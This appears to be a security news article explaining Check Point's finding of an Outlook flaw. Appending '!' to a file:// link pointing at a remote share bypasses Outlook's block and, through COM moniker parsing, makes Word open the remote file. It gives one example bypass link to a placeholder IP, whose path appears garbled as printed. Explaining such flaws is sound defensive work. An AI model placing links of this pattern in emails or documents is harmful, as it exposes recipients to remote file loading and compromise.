Outlook’s behavior is different for various types of links. For example, for links that start with http:// or https://, the email client will send the link to the default browser installed on the operating system. However, if an email includes links for other protocol handlers, for example skype:, the email client will display a warning that the link might be unsafe before allowing the user to continue and forward the request to the locally installed Skype application, which is the registered protocol handler for skype: links.

Another common link protocol is file:// which would normally call an external application to render the file depending on its format. However, Microsoft has intentionally put a restriction in place to not allow the opening of remote file links — for example, files hosted on a remote network share potentially over the internet.

However, the Check Point researchers found that this restriction could be bypassed by adding the character “!” followed by a random string at the end of the URL. For example, file:///\10.10.111.111testtest.rtf would not work, but file:///\10.10.111.111testtest.rtf!something would work and the file would be passed to Microsoft Word, which is the registered handler for the .rtf file extension.

The reason this works is because the !something part makes Outlook treat the link as a Moniker Link in the context of the Component Object Model (“COM”) on Windows where the part after ! is used to look up a COM object. The Component Object Model is a binary interface through which different software components can communicate with each other. Dating back to 1993 it has served as the foundation for different technologies such as ActiveX or Microsoft Object Linking & Embedding (OLE).

In essence, Outlook strips the file:// protocol handler and parses the link using the “ole32!MkParseDisplayName()” API. This in turn treats it as a compound moniker: a FileMoniker being \10.10.111.111testtest.rtf and an ItemMoniker being “something.”

Because the FileMoniker has the extension .rtf, the API will call a COM server that handles that extension, which happens to be Microsoft Word, which runs as a COM server in the background without the GUI. When receiving the request, Word opens the remote file and then tries to look up a COM object for the ItemMoniker “something.”